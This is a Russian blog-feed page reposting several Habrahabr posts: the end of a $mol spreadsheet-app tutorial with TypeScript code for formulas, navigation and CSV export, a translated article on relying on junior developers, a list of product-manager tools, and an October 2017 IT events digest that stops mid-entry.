    Размерность таблицы мы вычисляем на основе реестра формул, который берём из свойства formulas(). Возвращать оно должно json вида:


    {
        "A1" : "12" ,
        "B1" : "=A1*2"
    }

    А сами формулы мы будем брать и строки адреса, вида #A1=12/B1=%3DA1*2:


    @ $mol_mem
    formulas( next? : { [ key : string ] : string } ) {
        const formulas : typeof next = {}
    
        let args = this.$.$mol_state_arg.dict()
        if( next ) args = this.$.$mol_state_arg.dict({ ... args , ... next })
    
        const ids = Object.keys( args ).filter( param => /^[A-Z]+\d+$/.test( param ) )
    
        for( let id of ids ) formulas[ id ] = args[ id ]
    
        return formulas
    }

    Как видно, свойство formulas() изменяемое, то есть мы можем через него как прочитать формулы для ячеек, так и записать обновление в адресную строку. Например, если выполнить: this.formulas({ 'B1' : '24' }), то в адресной строке мы увидим уже #A1=12/B1=24.


    Адресная строка


    Кроссплатформенный модуль $mol_state_arg позволяет нам работать с параметрами приложения как со словарём, но как правило удобнее получать и записывать конкретный параметр по имени. Например, позволим пользователю изменять название нашей таблицы, которое мы опять же будем сохранять в адресной строке:


    title( next? : string ) {
        const title = this.$.$mol_state_arg.value( `title` , next )
        return title == undefined ? super.title() : title
    }

    Как можно заметить, если в адресной строке имя таблицы не задано, то будет взято имя заданное в родительском классе, который генерируется из calc.view.tree, который мы сейчас обновим, добавив в шапку вместо простого вывода заголовка, поле ввода-вывода заголовка:


    head /
        <= Title_edit $mol_string
            value?val <=> title?val @ \Spreedsheet
        <= Tools -

    head() — свойство из $mol_page, которое возвращает список того, что должно быть отрендерено внутри подкомпонента Head(). Это типичный паттерн в $mol — называть вложенный компонент и его содержимое одним и тем же словом, с той лишь разницей, что имя компонента пишется с большой буквы.


    Tools() — панель инструментов из $mol_page, отображаемая с правой стороны шапки. Давайте сразу же заполним и её, поместив туда кнопку скачивания таблицы в виде CSV файла:


    tools /
        <= Download $mol_link
            hint <= download_hint @ \Download
            file_name <= download_file \
            uri <= download_uri?val \
            click?event <=> download_generate?event null
            sub /
                <= Download_icon $mol_icon_load

    $mol_link — компонент для формирования ссылок. Если ему указать file_name(), то по клику он предложит скачать файл по ссылке, сохранив его под заданным именем. Давайте же сразу сформируем это имя на основе имени таблицы:


    download_file() {
        return `${ this.title() }.csv`
    }

    Локализация


    Обратите внимание на символ собачки перед значением по умолчанию на английском языке:


    download_hint @ \Download

    Вставка этого символа — это всё, что вам необходимо, чтобы добавить вашему приложению поддержку локализации. В сгенерированном классе не будет строки "Download" — там будет лишь запрос за локализованным текстом:


    /// download_hint @ \Download
    download_hint() {
        return $mol_locale.text( "$mol_app_calc_download_hint" )
    }

    А сами английские тексты будут автоматически вынесены в отдельный файл -view.tree/calc.view.tree.locale=en.json:


    {
        "$mol_app_calc_title": "Spreedsheet",
        "$mol_app_calc_download_hint": "Download"
    }

    Как видно, для текстов были сформированы уникальные человекопонятные ключи. Вы можете отдать этот файл переводчикам и переводы от них поместить в фалы вида *.locale=*.json. Например, добавим нашему компоненту переводы на русский язык в файл calc.locale=ru.json:


    {
        "$mol_app_calc_title" : "Электронная таблица" ,
        "$mol_app_calc_download_hint" : "Скачать"
    }

    Теперь, если у вас в браузере выставлен русский язык в качестве основного, то при старте приложения, будет асинхронно подгружен бандл с русскоязычными текстами -/web.locale=ru.json. А пока идёт загрузка, компоненты, зависящие от переводов, будут автоматически показывать индикатор загрузки.


    Заполняем ячейки


    Итак, у нас есть идентификаторы строк и столбцов. Давайте сформируем списки ячеек. Сперва заголовки колонок:


    @ $mol_mem
    head_cells() {
        return [ this.Col_head( '' ) , ... this.col_ids().map( colId => this.Col_head( colId ) ) ]
    }

    Обратите внимание, мы добавили лишнюю колонку вначале, так как в ней у нас будут располагаться заголовки строк. А вот и ячейки для строк:


    cells( row_id : number ) {
        return [ this.Row_head( row_id ) , ... this.col_ids().map( col_id => this.Cell({ row : row_id , col : col_id }) ) ]
    }

    Далее, вспоминаем, про свойства, которые мы провязывали для ячеек:


    Cell!id $mol_app_calc_cell
        value <= result!id \
        selected?val <=> selected!id?val false

    У ячейки это просто обычные свойства, а у нас они принимают ключ — идентификатор ячейки.


    Введём свойство current() которое будет хранить идентификатор текущей ячейки:


    current?val *
        row 1
        col \A

    А в реализации selected() мы просто будем сравнивать ячейку по переданному идентификатору и по текущему:


    @ $mol_mem_key
    selected( id : { row : number , col : string } , next? : boolean ) {
        return this.Cell( this.current( next ? id : undefined ) ) === this.Cell( id )
    }

    Разумеется, если в selected() передано true, то будет установлен новый идентификатор в качестве текущего и сравнение ячеек тоже даст true.


    Последний штрих — при выборе ячейки было бы не плохо переносить фокус с её самой на редактор значения:


    @ $mol_mem
    current( next? : { row : number , col : string } ) {
        new $mol_defer( ()=> this.Edit().focused( true ) )
        return next || super.current()
    }

    Тут мы с помощью $mol_defer ставим отложенную задачу перенести фокус на редактор всякий раз когда меняется идентификатор текущей ячейки. Отложенные задачи выполняются в том же фрейме анимации, а значит пользователь не увидит никакого мерцания от перефокусировки. Если бы мы перенесли фокус сразу, то подписались бы на состояние сфокусированности редактора и при перемещении фокуса — сбрасывался бы и идентификатор текущей ячейки, что нам, разумеется, не надо.


    Клавиатурная навигация


    Постоянно тыкать мышью в ячейки для перехода между ними не очень-то удобно. Стрелочками на клавиатуре было бы быстрее. Традиционно в электронных таблицах есть два режима: режим навигации и режим редактирования. Постоянно переключаться между ними тоже напрягает. Поэтому мы сделаем ход конём и совместим редактирование и навигацию. Фокус будет постоянно оставаться на панели редактирования ячейки, но при зажатой клавише Alt, нажатие стрелочек, будет изменять редактируемую ячейку на одну из соседних. Для подобных выкрутасов есть специальный компонент $mol_nav, который является компонентом-плагином.


    В $mol есть 3 вида компонент:


    1. Обычные компоненты, которые создают dom-узел и контролируют его состояние.
    2. Призрачные компоненты, которые не создают dom-узлов, а используют dom-узел переданного им компонента, для добавления поведения/отображения.
    3. Компоненты-плагины, которые тоже не создают dom-узлов, а используют dom-узел компонента владельца для добавления поведения/отображения.

    Добавляются плагины через свойство plugins(). Например, добавим клавиатурную навигацию нашему приложению:


    plugins /
        <= Nav $mol_nav
            mod_alt true
            keys_x <= col_ids /
            keys_y <= row_ids /
            current_x?val <=> current_col?val \A
            current_y?val <=> current_row?val 1

    Тут мы указали, что навигироваться мы будем по горизонтали и по вертикали, по идентификаторам столбцов и колонок, соответственно. Текущие координаты мы будем синхронизировать со свойствами current_col() и current_row(), которые мы провяжем с собственно current():


    current_row( next? : number ) {
        return this.current( next === undefined ? undefined : { ... this.current() , row : next } ).row
    }
    
    current_col( next? : number ) {
        return this.current( next === undefined ? undefined : { ... this.current() , col : next } ).col
    }

    Всё, теперь нажатие Alt+Right, например, будет делать редактируемой ячейку справа от текущей, и так пока не упрётся в самую правую ячейку.


    Копирование и вставка


    Так как ячейки у нас являются ни чем иным, как нативными td dom-элементами, то браузер нам здорово помогает с копированием. Для этого достаточно зажать ctrl, выделить ячейки и скопировать их в буфер обмена. Текстовое представление содержимого буфера будет ни чем иным, как Tab Separated Values, который легко распарсить при вставке. Так что мы смело добавляем обработчик соответствующего события:


    event *
        paste?event <=> paste?event null

    И реализуем тривиальную логику:


    paste( event? : ClipboardEvent ) {
        const table = event.clipboardData.getData( 'text/plain' ).trim().split( '\n' ).map( row => row.split( '\t' ) ) as string[][]
        if( table.length === 1 && table[0].length === 1 ) return
    
        const anchor = this.current()
        const row_start = anchor.row
        const col_start = this.string2number( anchor.col )
        const patch = {}
    
        for( let row in table ) {
            for( let col in table[ row ] ) {
                const id = `${ this.number2string( col_start + Number( col ) ) }${ row_start + Number( row ) }`
                patch[ id ] = table[ row ][ col ]
            }
        }
    
        this.formulas( patch )
    
        event.preventDefault()
    }

    Славно, что всё это работает не только в рамках нашего приложения — вы так же можете копипастить данные и между разными табличными процессорами, такими как Microsoft Excel или LibreOffice Calc.


    Выгрузка файла


    Частая хотелка — экспорт данных в файл. Кнопку мы уже добавили ранее. Осталось лишь реализовать формирование ссылки на экспорт. Ссылка должна быть data-uri вида data:text/csv;charset=utf-8,{'url-кодированный текст файла}. Содержимое CSV для совместимости с Microsoft Excel должно удовлетворять следующим требованиям:


    1. ";" в качестве разделителя
    2. Каждое значение должно быть в кавычках.
    3. Кавычки экранируются посредством удвоения.

    download_generate( event? : Event ) {
        const table : string[][] = []
        const dims = this.dimensions()
    
        for( let row = 1 ; row < dims.rows ; ++ row ) {
            const row_data = [] as any[]
            table.push( row_data )
    
            for( let col = 0 ; col < dims.cols ; ++ col ) {
                row_data[ col ] = String( this.result({ row , col : this.number2string( col ) }) )
            }
        }
    
        const content = table.map( row => row.map( val => `"${ val.replace( /"/g , '""' ) }"` ).join( ';' ) ).join( '\n' )
    
        this.download_uri( `data:text/csv;charset=utf-8,${ encodeURIComponent( content ) }` )
    
        $mol_defer.run()
    }

    После установки новой ссылки, мы форсируем запуск отложенных задач, чтобы произошёл рендеринг в dom-дерево до выхода из текущего обработчика событий. Нужно это для того, чтобы браузер подхватил свежесгенерированную ссылку, а не предлагал скачать предыдущую версию файла.


    Формулы


    Самое главное в электронных таблицах — не сами данные, а формулы, через которые можно связывать значения одних ячеек со значениями других. При этом за актуальностью вычисляемых значений электронная таблица следит сама, реактивно обновляя значения в ячейках зависимых от редактируемой в данный момент пользователем.


    В нашем случае пользователь всегда редактирует именно формулу. Даже если просто вводит текст — это на самом деле формула, возвращающая этот текст. Но если он начнёт свой ввод с символа =, то сможет использовать внутри различные математические выражения и, в том числе, обращаться к значениям других ячеек.


    Реализовывать парсинг и анализ выражений — довольно сложная задача, а вечеринке уже мерещится ДедЛайн, так что мы не долго думая воспользуемся всей мощью JavaScript и позволим пользователю писать любые JS выражения. Но, чтобы он случайно не отстрелил ногу ни себе, ни кому-то ещё, будем исполнять его выражение в песочнице $mol_func_sandbox, которая ограничит мощь JavaScript до разрешённых нами возможностей:


    @ $mol_mem
    sandbox() {
        return new $mol_func_sandbox( Math , {
            'formula' : this.formula.bind( this ) ,
            'result' : this.result.bind( this ) ,
        } )
    }

    Как видите, мы разрешили пользователю использовать математические функции и константы, а также предоставили пару функций: для получения формулы ячейки и вычисленного значения ячейки по её идентификатору.


    Песочница позволяет нам преобразовывать исходный код выражения в безопасные функции, которые можно безбоязненно вызывать.


    @ $mol_mem_key
    func( id : { row : number , col : string } ) {
        const formula = this.formula( id )
        if( formula[0] !== '=' ) return ()=> formula
    
        const code = 'return ' + formula.slice( 1 )
        .replace( /@([A-Z]+)([0-9]+)\b/g , 'formula({ row : $2 , col : "$1" })' )
        .replace( /\b([A-Z]+)([0-9]+)\b/g , 'result({ row : $2 , col : "$1" })' )
    
        return this.sandbox().eval( code )
    }

    Заставлять пользователя писать вызов функции result вручную — слишком жестоко. Поэтому мы слегка изменяем введённую формулу, находя комбинации символов, похожие на кодовые имена ячеек вида AB34, и заменяя их на вызовы result. Дополнительно, вместо значения, можно будет получить формулу из ячейки, приписав спереди собачку: @AB34. Создание таких функций — не бесплатно, так что если в ячейке у нас просто текст, а не выражение, то мы так его и возвращаем безо всяких песочниц.


    Осталось дело за малым — реализовать свойство result() с дополнительной постобработкой для гибкости:


    @ $mol_mem_key
    result( id : { row : number , col : string } ) {
        const res = this.func( id ).call()
        if( res === undefined ) return ''
        if( res === '' ) return ''
        if( isNaN( res ) ) return res
        return Number( res )
    }

    Тут мы избавились от возможного значения undefined, а так же добавили преобразование строк похожих на числа в собственно числа.


    Финальный аккорд


    На этом основная программа нашей вечеринки подходит к концу. Полный код приложения $mol_app_calc доступен на ГитХабе. Но прошу вас не спешить расходиться. Давайте каждый возьмёт по электронной таблице в свои руки и попробует сделать с ней что-нибудь эдакое. Вместе у нас может получиться интересная галерея примеров её использования. Итак...


    Оценка дальнейшего развития $mol_app_calc


    Кредитный калькулятор


    a*x**2 + b*x + c = 0

    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/338804/


    Метки:  

    [Перевод] Опасная игра. Стоит ли полагаться на команду из джуниоров

    Среда, 27 Сентября 2017 г. 10:36 + в цитатник
    alconost сегодня в 10:36 Управление

    Опасная игра. Стоит ли полагаться на команду из джуниоров

    • Перевод

    Как это влияет на коллектив, менторство, качество кода, а также вопрос денег



    Очевидно, что любая компания предпочитает брать в команду опытных разработчиков. Отдача от них лучше. Они предлагают более надежные и творческие решения, которые удобно масштабировать. Заправский senior-разработчик понимает проблемы и, вероятно, умеет не попадать впросак и минимизировать количество багов. Кроме того, код у таких разработчиков работает быстрее, чем у начинающих, и они умеют трудиться самостоятельно.

    С другой стороны, деньги правят миром, а джуниоры стоят значительно дешевле. Зарплата опытного разработчика может вдвое превышать зарплату начинающего. Кроме того, начинающих разработчиков много, и иногда так и хочется нанять одного из них.

    Мы в Alconost перевели статью о том, насколько рискованно полагаться на команду молодых разработчиков и как такая ситуация влияет на опытных разработчиков, менторов и качество продукта.

    Проблеееемы, как минимум некоторые


    Молодому разработчику нужен наставник. Не каждый обстрелянный разработчик справится с такой задачей без руководства и четкого понимания. Многие менеджеры совершают одну и ту же ошибку: набирают в одну команду много молодых разработчиков. Они думают, что если отдать новичков в подчинение сильному наставнику — все проблемы решены. Но наставник — это не волшебник. Быть наставником — тяжкий труд.  

    Не всякий разработчик годится в менторы. Как правило, среднестатистический разработчик не должен брать на себя такую миссию, не потренировавшись в менторстве. Способности у всех джуниор-разработчиков разные, и наставник не может учить их всех одновременно, тем более, если джуниоры подключались к команде в разное время. Создание команды, чрезмерно завязанной на множестве начинающих разработчиков, может привести к деструктивным последствиям, а менеджеры порой пропускают момент истины и не успевают справиться с ситуацией.

    На проект требуются дополнительные разработчики — что делать? Перетасуем


    Обычно на зарождающемся проекте заняты считанные разработчики. Проходит время, и —  бууум! —  проект перешел к стабильному развитию. В него вкладывается все больше времени и денег, на вас наседают заказчики, чувствуется прессинг. Тогда рекрутеры-технари принимаются круглосуточно искать новых разработчиков. Нельзя же собрать команду из одних новичков —  поэтому приходится прибегать к перетасовке. Команды перекомпоновываются.

    Итак, теперь работы много, требуется руководить множеством разработчиков. Иной менеджер решает: «Брошу их в дело, пусть выплывают». Такая ошибка может оказаться фатальной, и вы вскоре об этом узнаете. Что тогда? Снова кого-нибудь нанимаем и снова перетасуем. Людям не нравятся изменения, тем более — частые. Такие меры могут по-настоящему тряхнуть членов команды. Коллеги должны срабатываться, чувствовать друг друга и знать сильные стороны соратников.

    Выгорание наставника


    Любой менеджер, берущий человека в команду, принимает решение. Если новобранец опытный, наставник ему зачастую не требуется. Даже при наличии ментора опытный разработчик обычно независим и умеет учиться сам. Когда разработчик неопытен, наставнику придется туже. У него есть основные обязанности и в нагрузку — педагогические. Каждый час ему могут поступать новые вопросы. Ментор должен не только помогать разработчику решать возникающие проблемы, но и учить, как учиться. В противном случае наставник не успеет выполнять свои основные обязанности.

    Когда у наставника несколько подопечных, они могут засыпать его просьбами о помощи и совершенно не оставить времени на основную работу. Хороший ментор должен быть терпелив и уметь слушать. Длительное наставничество порой бывает изнурительным, и иногда чувствуется выгорание.

    Бремя опытных разработчиков


    Не все опытные разработчики — менторы, и это не упрощает ситуацию. Естественно, наставник получает меньшую нагрузку, нежели остальные. Поэтому типичный менеджер осознает, что, если не нагружать опытного разработчика менторством, то он будет трудиться продуктивнее.  

    Железное правило: когда часть сокомандников занята молодняком, другие должны перераспределить между собой их нагрузку. Они получают больше ключевых задач и тем самым позволяют наставникам — учить, а новичкам — учиться. Они отвечают за прогресс в разработке продукта. Со временем такая роль может стать очень обременительной. Менеджер, руководящий процессом, должен не лишать таких разработчиков контакта с другими членами команды.

    Как это сказывается на качестве кода


    Менеджер не может держать планку по качеству кода, если на одного опытного разработчика приходится четверо начинающих. Он не в силах, а если вы — в силах, то дорогого стоите. Компания жива, пока подпитывается деньгами, и когда деньги иссякают — с ней все кончено. Все — начинающие, обстрелянные, опытные разработчики и даже уборщики — ходят на работу, потому что хотят кормить семью.

    Итак, насколько меняется качество кода? Сильно. Шкала в данном случае варьируется, все зависит от того, насколько джуниоров заставляют быть продуктивными, и от периода обучения. Как правило, наставник скажет: «Будет рефакторинг — поправим».

    Обычно это чепуха. По тем самым причинам никакого рефакторинга обычно не наступает, и качество кода в данном приложении становится «стандартом» для всего проекта. Где удобнее всего добыть образец кода? В нашем же приложении. Все стандарты оформления кода там соблюдены. Префиксы тоже как надо, так почему бы нет? Ctrl+C & Ctrl+V, прощайте, стандарты программирования, се ля ви.

    Хрупкий код


    Качество кода пострадало. А что насчет хрупкости? Когда новичок пишет блок кода, он еще не знает, где этот код может сломаться. Код называется хрупким, если в нем легко возникают баги. Пример: функция не проверяет значения аргументов, их тип или диапазон валидации. Это простой пример. Но порой баг выловить сложнее, например, если в коде JS инструкция проверяет на undefined, но не на null, либо если условие if получилось сложным, и программист не учел в нем порядок предшествования операций. Редактор, просматривающий код, должен быть в курсе таких изъянов и настороженно их выискивать. Тестирование кода позволяет радикально снизить риски.



    Наш месседж — ДОЗИРУЙТЕ, причем аккуратно.


    Новички, опытные разработчики, наставники, менеджеры, баги, клиенты и деньги. Каждый из них важен и играет свою роль. Как бы там ни было, все когда-то начинают с самых первых шагов. Ни один senior-разработчик не родился сразу с достаточными знаниями и опытом.

    Нельзя кусать руку, которая тебя кормит. Нужно понимать, что перетряска и перетасовка команды  — это вмешательство, которое может дорого обойтись. Здесь важно знать меру и строго ее соблюдать. Если без перетасовки не обойтись — добейтесь, чтобы она происходила не чаще, чем с интервалом от девяти месяцев до года. Убедитесь, что наставники не выгорают, а остальные разработчики не трудятся на износ.

    Набор молодых разработчиков — это тактика со множеством преимуществ. Если как следует наладить наставничество и подобрать подходящий учебный план, такая работа может оказаться очень плодотворной. Начинающего разработчика легче сформировать по своему вкусу, чем опытного. Новички знают, что не пользуются бешеным спросом. Поэтому у них выше стремление и мотивация тратить собственное время на прокачку навыков и выстраивание карьеры.   


    О переводчике

    Перевод статьи выполнен в Alconost.

    Alconost занимается локализацией игр, приложений и сайтов на 68 языков. Переводчики-носители языка, лингвистическое тестирование, облачная платформа с API, непрерывная локализация, менеджеры проектов 24/7, любые форматы строковых ресурсов.

    Мы также делаем рекламные и обучающие видеоролики — для сайтов, продающие, имиджевые, рекламные, обучающие, тизеры, эксплейнеры, трейлеры для Google Play и App Store.

    Подробнее: https://alconost.com

    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/338802/


    20 полезных сервисов для продакт-менеджеров

    Среда, 27 Сентября 2017 г. 09:40 + в цитатник
    blognetology сегодня в 09:40 Управление

    20 полезных сервисов для продакт-менеджеров

      Мы в редакции «Нетологии» вместе с преподавателями курса «Руководитель
      digital-продукта
      » собрали подборку сервисов, которые помогут тимлиду, продакту или проджекту наладить работу в команде и сделать свою жизнь лучше. Возможно, многие из них будут вам знакомы — по рабочему процессу или по слухам. Будем рады, если в комментариях вы предложите свои варианты или расскажете, чем понравился/не понравился тот или иной сервис.


      Когда каждый день занимаешься не только текучкой, но и вещами, направленными на улучшение работы продукта, внедрение фич и искоренение багов, то волей-неволей хочется сделать жизнь проще. Сделать так, чтобы команда работала сплоченнее, были видны все этапы работы и не было бы развала-схождения в каждую минуту работы.



      В таком случае приходят на помощь сервисы. Мы опросили четырех преподавателей курса «Руководитель digital-продукта» и сделали подборку сервисов, которые облегчат жизнь и помогут наладить эффективную работу.

      Пять сервисов Кати Текуновой — руководителя сервиса «Рамблер/платформа» в Rambler&Co


      1. Excel — использует для всего: от вычислений до сбора аналитики. Удобно, всем известно, работает на всех устройствах. Сейчас его отлично заменяют Гугл Таблицы, что намного удобнее. Можно открывать и закрывать доступ, делать все то же самое, что и в Excel, функциональность не ограничена, а доступ к файлу возможен из любой точки мира. Плюс возможность редактирования, комментирования и даже постановки задач через @.

      2. Jira — для постановки и отслеживания задач незаменима. Считается одним из лучших продуктов для agile-команд. В ней можно создавать пользовательские истории и задачи, планировать спринты и распределять задания по командам. Создавать подзадачи и распределять по отделам. Можно расставлять приоритеты, релизить продукты и быть уверенным, что информация останется под рукой. К тому же есть возможность создавать отчеты, визуализировать данные.
      К тому же можно оптимизировать работу, интегрируясь с Confluence, Bitbucket, Stride и сотнями других инструментов для разработки.



      Jira пользуются Airbnb, Spotify, Ebay, Cisco и многие другие.

      3. Confluence — создан для всей документации по продуктам: описания сервисов и продуктовые требования, техническая документация, описания релизов. Одним кликом интегрируется с Jira. Сделан той же командой Atlassian.



      Это тиражируемая вики-система для внутреннего использования организациями с целью создания единой базы знаний. Confluence любит Nasa, Docker и Lufthansa.

      4. Zeplin — для работы с макетами. Идеальное взаимодействие между дизайнером, продактом и фронтенд-разработкой. Больше никаких огромных количеств встреч, созвонов и так далее. Отлично работает со Скетч, Фотошопом. О Zeplin на Хабре можно прочесть тут.




      Zeplin пользуются Slack, Pinterest, Zendesk, MailChimp и множество других компаний.

      5. Balsamiq — для мокапов и прототипов. Очень удобен и интересен как инструмент. Имеет библиотеку пользовательского интерфейса. Имеется контроль версий, возможности для A/B-теста. Имеет расширения и помогает работать одновременно продуктологам, дизайнерам и фронтендерам.



      Balsamiq любят в Cisco, Zappos, Apple, Adobe, Ebay, Skype, Sony и других компаниях.

      Пять сервисов Михаила Карпова — менеджера по продукту во ВКонтакте


      1. Zeplin пропускаем, потому что оду ему спели выше. Разберем другие четыре сервиса.

      2. Как использовать Google Docs продакту? В нем удобно составлять роадмапы сервисов и сводить данные по статистике в Гугл Таблицах.

      3. Dropbox Paper — очень удобный инструмент чтобы вести продуктовую документацию по запускаемой функциональности. При этом он интегрируется со множеством других сервисов: от SoundCloud и Spotify до Youtube и Google Docs. При этом есть чаты и возможна совместная работа, что идеально для любого продакта.



      4. PrioriData — удобный инструмент для изучения конкурентов на мобильных платформах. Позволяет ранжировать ключевые слова, делать выгрузки и проверять расходы. И помогает исследовать рынок и развивать собственное приложение.



      5. Moqups — простой и комфортный сервис для быстрого прототипирования идей. Помогает команде работать над макетами, мокапами, прототипами и диаграммами. Все в одном: от дизайна до сотрудничества.

      Пять сервисов Ивана Замесина — менеджера по продукту в Chatfuel


      1. Лучший сервис последних двух лет — Notion.so. Это сервис организации информации и процессов как для команд, так и для личного использования. Он невероятно удобен для написания текстов, работы над проектами, ведения личного дешборда. Он заменил Evernote и все текстовые редакторы. Плюсик в карму за внимание к UX микродействий вроде добавления нового элемента. Кстати, в TestFlight сейчас крутится бета приложения под iOS и оно восхитительно!



      2. Sketch. Продакт должен уметь проектировать базовые пользовательские сценарии в интерфейсе и чтобы не отвлекать дизайнера уметь быстро собрать нужный интерфейс в Sketch из готовых компонентов. Применение: быстрые фиксы интерфейсных косяков или missing scenarios минуя дизайнера, корректировка текстов в макетах, прототипирование вместе с клиентом во время customer development.

      3. Trello. Незаменимый мультитул для продакта. Прелесть Trello в простоте и гибкости. С помощью Trello можно вести список фичереквестов от пользователей и удобно ранжировать их в течение времени, планировать работы команды на горизонте недель и месяцев, вести оперативную работу команды.



      4. Clear. Это банальный todo-app. Продакту не нужны due dates, группировка по проектам, теги, делегирование и прочие навороты. Главный атрибут для тудушки — минимизация накладных расходов на обращение к тудушке, а это значит что она должна постоянно висеть на экране. Clear одно из немногих no-UI туду-приложений и легко занимает любое отведённое ему место. Clear всегда висит на моём экране справа, занимая 25% экранной площади и экономит тонну времени и внимания.

      5. Zoom.us. Последняя команда была распределённой и конференс-коллы были настоящей болью. Skype нужно было постоянно перезапускать, часто он просто не работал или собеседники не слышали друг друга. Hangouts победил в номинации «самая идиотская организация групп», но никак не в номинации «удобен для использования в команде». Zoom.us единственный инструмент, который просто работает — у него хорошее качество картинки и звука, адекватный интерфейс и логика работы.

      Пять сервисов Микаэла Гелецяна — менеджера по продукту в «Детском мире» и «Кидзания Москва»


      1. Product Hunt используется для вдохновения, нахождения в тренде и проверки «а нету ли уже такого продукта?».

      2. Moqups — мокапы и прототипы, которые хранятся в вебе. Используется для иллюстрации требований. На любой проект можно дать ссылку. При этом хранение данных в облаке, удобно для работы с удаленной командой, неограниченное количество пользователей с одной подпиской. В общем, целая экосистема проектирования в одном инструменте.



      3. Mindmeister. Работает для продакта как карта памяти — лучший формат для структурирования любых данных. От встречи с заказчиком или стейкхолдером до фичей сайта.

      4. Usabilityhub — инструмент для того самого случая, когда нужно показать прототип настоящим людям, а искать — нет времени. А еще лучшая штука для удаленного тестирования пользователей. Сервис используют Amazon, Groupon, Hubspot, Nasa.

      5. Getabstract, чтобы читать выжимки из кучи книг, на которые бы не нашлось времени. Образование для продакта важно, потому что каждый день появляется что-то новое. А поспевать за временем, идеями и новыми веяниями надо.
      Original source: habrahabr.ru (comments, light).

      https://habrahabr.ru/post/338798/


      [Перевод] Иллюзия движения

      Среда, 27 Сентября 2017 г. 09:28 + в цитатник

      Дайджест IT событий на октябрь

      Среда, 27 Сентября 2017 г. 08:59 + в цитатник
      EverydayTools сегодня в 08:59 Разное

      Дайджест IT событий на октябрь

        Снова приближается конец месяца и приходит пора заполнять ежедневник и договариваться о командировочных. Посмотрим же, какая образовательно-развлекательная программа ожидает программистов из столицы и регионов в ближайшие несколько недель. Повышенная активность в сферах IoT и блокчейна, постепенно возвращающиеся с каникул хакатоны и некоторый спад в курсах и тренингах после сентябрьской лихорадки — такой прогноз вырисовывается у нас на октябрь.



        Всероссийский форум «Блокчейн: формула будущего»

        Когда: 1-3 октября
        Где: Уфа, ул. Менделеева, 158, ВДНХ-Экспо
        Условия участия: бесплатно, требуется регистрация

        Уфимский форум 5-в-1 по блокчейну отличается разнообразием форматов: здесь параллельно с привычными лекциями и выставкой финтех-продуктов пройдет также хакатон и два конкурса стартапов. Насыщенная трехдневная программа позволяет желающим поспеть везде — и посоревноваться за денежные призы, и послушать выступления экспертов, и оценить экспонаты.

        Курс «Основы построения фреймворка автоматизированного тестирования на HP UFT»

        Когда: 7 октября
        Где: Москва, 1-й Волоколамский проезд, 10, стр. 3
        Условия участия: Москва — 14 200 руб., Санкт-Петербург — 12 780 руб. Омск — 10 650 руб.

        Если вы QA-инженер и читаете это, возможно, стоит не пожалеть двух рабочих дней на освоение HP UFT. Краткий курс целиком посвящен искусству писать легко сопровождаемые, доступные, предназначенные для многоразового использования автоматизированные тесты. Достигается это путем подробного рассмотрения синаткиса VBS со всеми базовыми командами, принципов работы с объектами и применения классов в UFT, основ VBScript, параметризации и распознавания объектов и других премудростей. По завершению вы сможете добавить в свою коллекцию еще один сертификат.

        HackCV

        Когда: 7 октября
        Где: Санкт-Петербург, Большой Сампсониевский проспект, 61
        Условия участия: бесплатно

        Хакатон, на котором вы сможете воплотить мечту целой армии фантастов и вдохнуть жизнь в автомобиль при помощи технологии Computer Vision. Организаторы предложат командам ознакомиться с теоретическими материалами по нейросетям, поработать с библиотеками компьютерного зрения и специфическими для safety critical embedded system фреймворками и совместными усилиями научить автомобиль ездить так, чтобы в случае восстания машин он могу без проблем получить права. Требования к кандидатам включают знание C++ и хорошую математическую подготовку, опыт участия в подобных проектах опционален.

        Blockchain Club Moscow

        Когда: 10 октября
        Где: Москва, Павелецкая набережная, 2, стр. 2
        Условия участия: 800 руб.

        Небольшая встреча единомышленников для тех, кто спит и видит себя в блокчейне. Спикеры — представители сектора с соответствующими компетенциями — поднимут три, пожалуй, самые животрепещущие темы: как вообще приступить к проведению ICO, какой должна быть команда, чтобы осилить это процесс, и все, что нужно знать о его юридической стороне.



        INTERNATIONAL BLOCKCHAIN FORUM

        Когда: 12 октября
        Где: Москва, Берсеневская набережная, 6, стр. 3, 6 этаж
        Условия участия: 14 700 руб.

        Тоже блокчейн, но помасштабнее. Эксперты из России и СНГ соберутся на крупнейшем отечественном форуме, чтобы обменяться мнениями касательно того, что происходит в сфере криптовалюты в данный момент и чего ждать от будущего. Программа включает пять основных блоков. Первый посвящен прогнозам, перспективам, подробному обзору последних новшеств и их влияния на рынок. В ходе второго блокчейн будет рассматриваться как способ получения прибыли: участники — и в первую очередь новички — смогут узнать о связанных с ICO рисках и сложностях, ознакомиться с чужим успешным и не успешным опытом и получить рекомендации от опытных игроков. Следующий блок отведен теме криптовалютных фондов, инвестиционных возможностей, которые они дают, правовых нюансов и обзора популярных вариантов в России и зарубежье. Далее речь пойдет о биржах и прочих площадках торговли, причем слушатели смогут не только взглянуть на нелегкую профессию трейдера изнутри, но и присоединиться к рядам торгующих, записавшись в школу, или же блеснуть талантами на особом конкурсе для начинающих, который будет проведен с рамках форума. Наконец, в заключение спикеры коснутся майнинга и познакомят аудиторию со спецпредложениями по формированию майнинг-пула.

        Форум GoTech

        Когда: 12 октября
        Где: Москва, Долгопрудненское шоссе, 3
        Условия участия: 3900 руб.

        Площадка — рай для стартапов, где можно послушать о том, как росли и добивались успеха предшественники, зондировать почву с инвесторами и журналистами, рассказывать о своем проекте и открывать новые возможности. Общая тема форума — развитие глобального бизнеса. Заявлен также конкурс проектов с рядом номинаций от крупных компаний, которые обеспечат победителям менторскую поддержку и ресурсы для роста.

        BIT-2017

        Когда: 12 октября
        Где: Новосибирск, ул. Ленина, 26
        Условия участия: бесплатно по итогам отбора

        Сибирское мероприятие на стыке бизнеса и IT предлагает сообществу обсудить, как современные технологии уживаются с меняющимися реалиями рынка и юридической системы. В докладах будут затрагиваться такие сферы, как облачное хранение, ЦОД, IoT, IP и другое.

        Pizza Pitch

        Когда: 12 октября
        Где: Москва, ул. Кирпичная, 33, стр. 2
        Условия участия: 200 руб.

        Рады сообщить, что сходка анонимных стартаперов от ВШЭ состоится и в октябре. Как и в первый раз, на повестке — презентации от тех, у кого есть идея, проект или проблема, общая дискуссия с советами от местных экспертов и пицца на закуску всего этого.



        Yappi Days’17

        Когда: 13 октября
        Где: Ярославль, Волжская набережная, 4
        Условия участия: от 400 руб.

